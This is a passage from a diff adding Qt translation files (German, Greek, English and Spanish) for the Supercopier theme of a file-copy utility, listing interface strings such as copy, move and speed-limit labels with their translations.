+ <translation>Ausgewählte Einträge an das Listenende verschieben</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="453"/>
+ <source>Add file/folder</source>
+ <translation>Datei/Ordner hinzufügen</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="508"/>
+ <source>Search</source>
+ <translation>In Dateiliste suchen</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="660"/>
+ <location filename="../../interface.ui" line="729"/>
+ <source>Error</source>
+ <translation>Fehlerprotokoll</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="680"/>
+ <source>Export the errors into transfer list</source>
+ <translation>Fehler in Transferliste exportieren</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="719"/>
+ <source>Source</source>
+ <translation>Quelle</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="724"/>
+ <source>Destination</source>
+ <translation>Ziel</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="775"/>
+ <source>Add file</source>
+ <translation>Datei hinzufügen</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="784"/>
+ <source>Add folder</source>
+ <translation>Ordner hinzufügen</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="793"/>
+ <source>Move file(s)</source>
+ <translation>Datei(en) verschieben</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="802"/>
+ <source>Move folder</source>
+ <translation>Ordner verschieben</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="811"/>
+ <source>Copy file(s)</source>
+ <translation>Datei(en) kopieren</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="820"/>
+ <source>Copy folder</source>
+ <translation>Verzeichnis kopieren</translation>
+ </message>
+</context>
+<context>
+ <name>themesOptions</name>
+ <message>
+ <location filename="../../themesOptions.ui" line="230"/>
+ <source>Show dual progression</source>
+ <translation>Zweifachen Fortschritt anzeigen</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="172"/>
+ <source>Show speed as main information</source>
+ <translation>Geschwindigkeitsbegrenzungs Schieberegler anzeigen</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="35"/>
+ <source>Use</source>
+ <translation>Benutzung</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="41"/>
+ <source>Start with the &quot;more button&quot; pushed</source>
+ <translation>Standardmäßig &quot;Mehr&quot; Informationen anzeigen</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="61"/>
+ <source>Minimize on close to systray</source>
+ <translation>Beim Schließen ins Systray minimieren</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="71"/>
+ <source>At the end of the copy</source>
+ <translation>Fenster am Ende des Vorgangs schließen</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="97"/>
+ <location filename="../../themesOptions.ui" line="121"/>
+ <source>Limit copy speed to</source>
+ <translation>Begrenze Übertragungsgeschwindigkeit auf</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="259"/>
+ <source>Click to edit the color</source>
+ <translation>Zum Bearbeiten der Farbe klicken</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="131"/>
+ <source> KB/s</source>
+ <translation> KB/s</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="166"/>
+ <source>Informations</source>
+ <translation>Informationen</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="204"/>
+ <source>Display</source>
+ <translation>Anzeige</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="210"/>
+ <source>Speed with progress bar</source>
+ <translation>Geschwindigkeit als Fortschrittsbalken anzeigen</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="240"/>
+ <source>Progression color</source>
+ <translation>Farbe des Fortschrittsbalken</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="220"/>
+ <source>Show progression in the title</source>
+ <translation>Fortschritt im Fenstertitel zeigen</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="51"/>
+ <source>Always on top</source>
+ <translation>Fenster immer im Vordergrund</translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins-alternative/Themes/Supercopier/Languages/el/translation.ts b/plugins-alternative/Themes/Supercopier/Languages/el/translation.ts
new file mode 100644
index 0000000..78e326c
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/Languages/el/translation.ts
@@ -0,0 +1,324 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0">
+<context>
+ <name>Themes</name>
+ <message>
+ <location filename="../../interface.cpp" line="180"/>
+ <source>Buy the Ultimate version to fund development</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="262"/>
+ <source>File %1/%2, size: %3/%4</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="476"/>
+ <source>Copy list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="478"/>
+ <source>Move list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="899"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="900"/>
+ <source>Never close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="901"/>
+ <source>Always close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="903"/>
+ <source>File Name, 0KB</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="1086"/>
+ <location filename="../../interface.cpp" line="1098"/>
+ <location filename="../../interface.cpp" line="1110"/>
+ <source>Select a color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="1185"/>
+ <location filename="../../interface.cpp" line="1189"/>
+ <location filename="../../interface.cpp" line="1191"/>
+ <source>%1 %2% of %3</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ThemesFactory</name>
+ <message>
+ <location filename="../../factory.cpp" line="197"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../factory.cpp" line="198"/>
+ <source>Never close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../factory.cpp" line="199"/>
+ <source>Always close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../factory.cpp" line="386"/>
+ <location filename="../../factory.cpp" line="401"/>
+ <location filename="../../factory.cpp" line="416"/>
+ <source>Select a color</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>interfaceCopy</name>
+ <message>
+ <location filename="../../interface.ui" line="35"/>
+ <source>From:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="72"/>
+ <source>To:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="125"/>
+ <source>Close at the end of the transfers</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="223"/>
+ <source>&amp;More</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="243"/>
+ <source>&amp;Pause</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="257"/>
+ <source>&amp;Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="268"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="283"/>
+ <source>Limit copy speed to:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="326"/>
+ <source>Transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="349"/>
+ <source>Move the selected items to the top</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="375"/>
+ <source>Move up the selected items</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="401"/>
+ <source>Move down the selected items</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="427"/>
+ <source>Move the selected items to the bottom</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="453"/>
+ <source>Add file/folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="482"/>
+ <source>Delete the selected items</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="508"/>
+ <source>Search</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="537"/>
+ <source>Export the transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="563"/>
+ <source>Import the transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="618"/>
+ <source>Previous</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="625"/>
+ <source>Next</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="660"/>
+ <location filename="../../interface.ui" line="729"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="680"/>
+ <source>Export the errors into transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="719"/>
+ <source>Source</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="724"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="738"/>
+ <source>Interface</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="775"/>
+ <source>Add file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="784"/>
+ <source>Add folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="793"/>
+ <source>Move file(s)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="802"/>
+ <source>Move folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="811"/>
+ <source>Copy file(s)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="820"/>
+ <source>Copy folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>themesOptions</name>
+ <message>
+ <location filename="../../themesOptions.ui" line="230"/>
+ <source>Show dual progression</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="172"/>
+ <source>Show speed as main information</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="35"/>
+ <source>Use</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="41"/>
+ <source>Start with the &quot;more button&quot; pushed</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="61"/>
+ <source>Minimize on close to systray</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="71"/>
+ <source>At the end of the copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="97"/>
+ <location filename="../../themesOptions.ui" line="121"/>
+ <source>Limit copy speed to</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="131"/>
+ <source> KB/s</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="166"/>
+ <source>Informations</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="204"/>
+ <source>Display</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="210"/>
+ <source>Speed with progress bar</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="240"/>
+ <source>Progression color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="259"/>
+ <source>Click to edit the color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="220"/>
+ <source>Show progression in the title</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="51"/>
+ <source>Always on top</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins-alternative/Themes/Supercopier/Languages/en/translation.ts b/plugins-alternative/Themes/Supercopier/Languages/en/translation.ts
new file mode 100644
index 0000000..9275b19
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/Languages/en/translation.ts
@@ -0,0 +1,324 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0" language="en">
+<context>
+ <name>Themes</name>
+ <message>
+ <location filename="../../interface.cpp" line="180"/>
+ <source>Buy the Ultimate version to fund development</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="262"/>
+ <source>File %1/%2, size: %3/%4</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="476"/>
+ <source>Copy list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="478"/>
+ <source>Move list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="899"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="900"/>
+ <source>Never close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="901"/>
+ <source>Always close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="903"/>
+ <source>File Name, 0KB</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="1086"/>
+ <location filename="../../interface.cpp" line="1098"/>
+ <location filename="../../interface.cpp" line="1110"/>
+ <source>Select a color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="1185"/>
+ <location filename="../../interface.cpp" line="1189"/>
+ <location filename="../../interface.cpp" line="1191"/>
+ <source>%1 %2% of %3</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ThemesFactory</name>
+ <message>
+ <location filename="../../factory.cpp" line="197"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../factory.cpp" line="198"/>
+ <source>Never close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../factory.cpp" line="199"/>
+ <source>Always close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../factory.cpp" line="386"/>
+ <location filename="../../factory.cpp" line="401"/>
+ <location filename="../../factory.cpp" line="416"/>
+ <source>Select a color</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>interfaceCopy</name>
+ <message>
+ <location filename="../../interface.ui" line="35"/>
+ <source>From:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="72"/>
+ <source>To:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="125"/>
+ <source>Close at the end of the transfers</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="223"/>
+ <source>&amp;More</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="243"/>
+ <source>&amp;Pause</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="257"/>
+ <source>&amp;Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="268"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="326"/>
+ <source>Transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="482"/>
+ <source>Delete the selected items</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="537"/>
+ <source>Export the transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="563"/>
+ <source>Import the transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="618"/>
+ <source>Previous</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="625"/>
+ <source>Next</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="738"/>
+ <source>Interface</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="349"/>
+ <source>Move the selected items to the top</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="283"/>
+ <source>Limit copy speed to:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="375"/>
+ <source>Move up the selected items</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="401"/>
+ <source>Move down the selected items</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="427"/>
+ <source>Move the selected items to the bottom</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="453"/>
+ <source>Add file/folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="508"/>
+ <source>Search</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="660"/>
+ <location filename="../../interface.ui" line="729"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="680"/>
+ <source>Export the errors into transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="719"/>
+ <source>Source</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="724"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="775"/>
+ <source>Add file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="784"/>
+ <source>Add folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="793"/>
+ <source>Move file(s)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="802"/>
+ <source>Move folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="811"/>
+ <source>Copy file(s)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="820"/>
+ <source>Copy folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>themesOptions</name>
+ <message>
+ <location filename="../../themesOptions.ui" line="230"/>
+ <source>Show dual progression</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="172"/>
+ <source>Show speed as main information</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="35"/>
+ <source>Use</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="41"/>
+ <source>Start with the &quot;more button&quot; pushed</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="61"/>
+ <source>Minimize on close to systray</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="71"/>
+ <source>At the end of the copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="97"/>
+ <location filename="../../themesOptions.ui" line="121"/>
+ <source>Limit copy speed to</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="131"/>
+ <source> KB/s</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="166"/>
+ <source>Informations</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="204"/>
+ <source>Display</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="210"/>
+ <source>Speed with progress bar</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="240"/>
+ <source>Progression color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="259"/>
+ <source>Click to edit the color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="220"/>
+ <source>Show progression in the title</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="51"/>
+ <source>Always on top</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins-alternative/Themes/Supercopier/Languages/es/translation.ts b/plugins-alternative/Themes/Supercopier/Languages/es/translation.ts
new file mode 100644
index 0000000..c407b34
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/Languages/es/translation.ts
@@ -0,0 +1,340 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0" language="es" sourcelanguage="en">
+<context>
+ <name>Themes</name>
+ <message>
+ <location filename="../../interface.cpp" line="180"/>
+ <source>Buy the Ultimate version to fund development</source>
+ <translation>Comprar la versión Ultimate para financiar el desarrollo</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="262"/>
+ <source>File %1/%2, size: %3/%4</source>
+ <translation>El archivo %1/%2, el tamaño: %3/%4</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="476"/>
+ <source>Copy list</source>
+ <translation>Lista de copia</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="478"/>
+ <source>Move list</source>
+ <translation>Lista de movimiento</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="899"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation>No cierre si se encuentran errores</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="900"/>
+ <source>Never close</source>
+ <translation>Nunca cierre</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="901"/>
+ <source>Always close</source>
+ <translation>Siempre cerrar</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="903"/>
+ <source>File Name, 0KB</source>
+ <translation>Nombre de archivo, 0KB</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="1086"/>
+ <location filename="../../interface.cpp" line="1098"/>
+ <location filename="../../interface.cpp" line="1110"/>
+ <source>Select a color</source>
+ <translation>Seleccione un color</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="1185"/>
+ <location filename="../../interface.cpp" line="1189"/>
+ <location filename="../../interface.cpp" line="1191"/>
+ <source>%1 %2% of %3</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ThemesFactory</name>
+ <message>
+ <location filename="../../factory.cpp" line="197"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation>No cierre si se encuentran errores</translation>
+ </message>
+ <message>
+ <location filename="../../factory.cpp" line="198"/>
+ <source>Never close</source>
+ <translation>Nunca cierre</translation>
+ </message>
+ <message>
+ <location filename="../../factory.cpp" line="199"/>
+ <source>Always close</source>
+ <translation>Siempre cerrar</translation>
+ </message>
+ <message>
+ <location filename="../../factory.cpp" line="386"/>
+ <location filename="../../factory.cpp" line="401"/>
+ <location filename="../../factory.cpp" line="416"/>
+ <source>Select a color</source>
+ <translation>Seleccione un color</translation>
+ </message>
+</context>
+<context>
+ <name>interfaceCopy</name>
+ <message>
+ <location filename="../../interface.ui" line="35"/>
+ <source>From:</source>
+ <translation>De:</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="72"/>
+ <source>To:</source>
+ <translation>Para:</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="125"/>
+ <source>Close at the end of the transfers</source>
+ <translation>Cerca al final de las transferencias</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="223"/>
+ <source>&amp;More</source>
+ <translation>&amp;Más</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="243"/>
+ <source>&amp;Pause</source>
+ <translation>&amp;Pausa</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="257"/>
+ <source>&amp;Skip</source>
+ <translation>&amp;Omitir</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="268"/>
+ <source>&amp;Cancel</source>
+ <translation>&amp;Cancelar</translation>
+ </message>
+ <message>
+ <source>Limit copy speed at:</source>
+ <translation type="obsolete">Limitar la velocidad de copia en:</translation>
+ </message>
+ <message>
+ <source>Close on transfer completion</source>
+ <translation type="obsolete">Cerca de finalización de transferencia</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="283"/>
+ <source>Limit copy speed to:</source>
+ <translation>Limitar la velocidad de copia en:</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="326"/>
+ <source>Transfer list</source>
+ <translation>Lista de transferencia</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="349"/>
+ <source>Move the selected items to the top</source>
+ <translation>Mueve los elementos seleccionados a la parte superior</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="375"/>
+ <source>Move up the selected items</source>
+ <translation>Mueva los elementos seleccionados</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="401"/>
+ <source>Move down the selected items</source>
+ <translation>Bajar los elementos seleccionados</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="427"/>
+ <source>Move the selected items to the bottom</source>
+ <translation>Mueve los elementos seleccionados a la parte inferior</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="453"/>
+ <source>Add file/folder</source>
+ <translation>Agregar archivo/carpeta</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="482"/>
+ <source>Delete the selected items</source>
+ <translation>Eliminar los elementos seleccionados</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="508"/>
+ <source>Search</source>
+ <translation>Buscar</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="537"/>
+ <source>Export the transfer list</source>
+ <translation>Exportar la lista de transferencias</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="563"/>
+ <source>Import the transfer list</source>
+ <translation>Importe la lista de transferencias</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="618"/>
+ <source>Previous</source>
+ <translation>Anterior</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="625"/>
+ <source>Next</source>
+ <translation>Próximo</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="660"/>
+ <location filename="../../interface.ui" line="729"/>
+ <source>Error</source>
+ <translation>Error</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="680"/>
+ <source>Export the errors into transfer list</source>
+ <translation>Exportar los errores en la lista de transferencias</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="719"/>
+ <source>Source</source>
+ <translation>Fuente</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="724"/>
+ <source>Destination</source>
+ <translation>Destino</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="738"/>
+ <source>Interface</source>
+ <translation>Interfaz</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="775"/>
+ <source>Add file</source>
+ <translation>Añadir archivo</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="784"/>
+ <source>Add folder</source>
+ <translation>Añadir carpeta</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="793"/>
+ <source>Move file(s)</source>
+ <translation>Mover archivo(s)</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="802"/>
+ <source>Move folder</source>
+ <translation>Mueva la carpeta</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="811"/>
+ <source>Copy file(s)</source>
+ <translation>Copia el archivo(s)</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="820"/>
+ <source>Copy folder</source>
+ <translation>Copia la carpeta</translation>
+ </message>
+</context>
+<context>
+ <name>themesOptions</name>
+ <message>
+ <location filename="../../themesOptions.ui" line="230"/>
+ <source>Show dual progression</source>
+ <translation>Mostrar progresión dual</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="172"/>
+ <source>Show speed as main information</source>
